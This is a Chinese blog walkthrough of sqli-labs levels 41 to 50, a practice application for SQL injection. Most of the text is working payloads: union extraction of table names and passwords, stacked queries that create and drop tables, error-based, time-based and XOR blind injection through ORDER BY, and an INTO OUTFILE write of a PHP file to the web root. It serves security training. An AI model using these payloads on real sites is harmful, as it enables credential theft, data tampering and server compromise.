zoukankan      html  css  js  c++  java
  • sqli-labs通关教程----41~50关

    第四十一关

    这关没有闭合符而且不报错,只能是否有回显来判断正误
    爆表名:

    ?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
    

    爆内容:

    ?id=0 union select 1,2,group_concat(password) from users --+
    

    同样也可以堆叠注入

    ?id=1;create table test like emails;--+
    

    第四十二关

    这关又是熟悉的post,思路也是一样,但是这关的username输入有mysqli_real_escape_string函数管着,所以注入点在password
    添加表tesst

    login_user=admin1&login_password=admin1';create table tesst(id INT,name varchar(100)) %23; &mysubmit=Login
    


    删除表tesst

    login_user=admin1&login_password=admin1';drop table tesst %23; &mysubmit=Login
    

    第四十三关

    这关就是闭合换成了'),其他一样

    添加表tesst

    login_user=admin1&login_password=admin1';create table tesst(id INT,name varchar(100)) %23; &mysubmit=Login
    

    第四十四关

    和四十二关一样,就是没有错误回显了
    删除表tesst

    login_user=admin1&login_password=admin1';drop table tesst %23; &mysubmit=Login
    

    第四十五关

    和四十三关闭合一样,然后没回显
    创建test45表

    login_user=admin1&login_password=admin1';create table test45(id INT,name varchar(100)) %23; &mysubmit=Login
    

    第四十六关

    这关又有新东西,利用order by来注入
    后台语句是这样的
    $sql = "SELECT * FROM users ORDER BY $id";

    ?sort=1 desc
    ?sort=1 asc
    

    显示结果不同,说明可以注入
    desc是 descend 降序意思
    asc 是 ascend 升序意思
    可利用 order by 后的一些参数进行注入
    order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试

    ?sort=right(version(),1)
    ?sort=left(version(),1)
    


    没有报错,但是 right 换成 left 都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
    此处可以直接构造 ?sort= 后面的一个参数
    1.利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)

    ?sort=rand(true)
    ?sort=rand(false)
    



    结果是不一样的
    例子

    ?sort=rand(ascii(left(database(),1))=116)
    ?sort=rand(ascii(left(database(),1))=115)
    

    对应上面的true和false,查看结果



    可以进行布尔盲注
    2.利用 and,例如 ?sort=1 and (加 sql 语句)。
    同时,sql 语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。
    例子
    报错注入

    ?sort=1 and updatexml(1,concat(0x7e,database()),0) --+
    


    时间注入

    ?sort=1 and if(ascii(substr(database(),1,1))=116,sleep(5),222)
    

    异或布尔盲注
    关于异或注入看这篇文章
    https://www.anquanke.com/post/id/160584

    异或运算规则:
    1^1=0 0^0=0 0^1=1 1^1^1=0 1^1^0=0

    id ^(select(select version()) regexp '^5')
    

    也可以程序分析参数后注入

    ?sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
    


    将查询结果导出到文件

    ?sort=1 into outfile 'C:\phpStudy\WWW\sql\Less-46\123.php'
    



    3.直接添加注入语句,?sort=(select ---)

    ?sort=right(version(),1)
    

    第四十七关

    这关闭合变成单引号。
    获得数据库版本

    ?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
    

    第四十八关

    这关是数字型盲注,没有报错回显。
    时间注入

    ?sort=1 and if(ascii(substr(database(),1,1))=116,sleep(5),222)
    

    第四十九关

    这关是字符型盲注,没有报错回显。

    ?sort=1'  and If(ascii(substr(database(),1,1))=116,sleep(3),0)--+
    

    第五十关

    这关还是之前的堆叠注入
    创建less50表

    ?sort=1;create table less50 like users;--+
    


    参考文档:
    https://blog.csdn.net/Kevinhanser/article/details/81563461

  • 相关阅读:
    网站精准查询IP
    JQuery插件模板
    SQLSERVER 数据从一张那个表复制到另一张表
    C# 取form表单的数据
    C# 判断网络文件是否存在
    C# 将文件转换为 Stream
    C# 将 Stream 写入文件
    JDBC教程
    Spring Boot教程
    JavaMail
  • 原文地址:https://www.cnblogs.com/Xy--1/p/12752515.html
Copyright © 2011-2022 走看看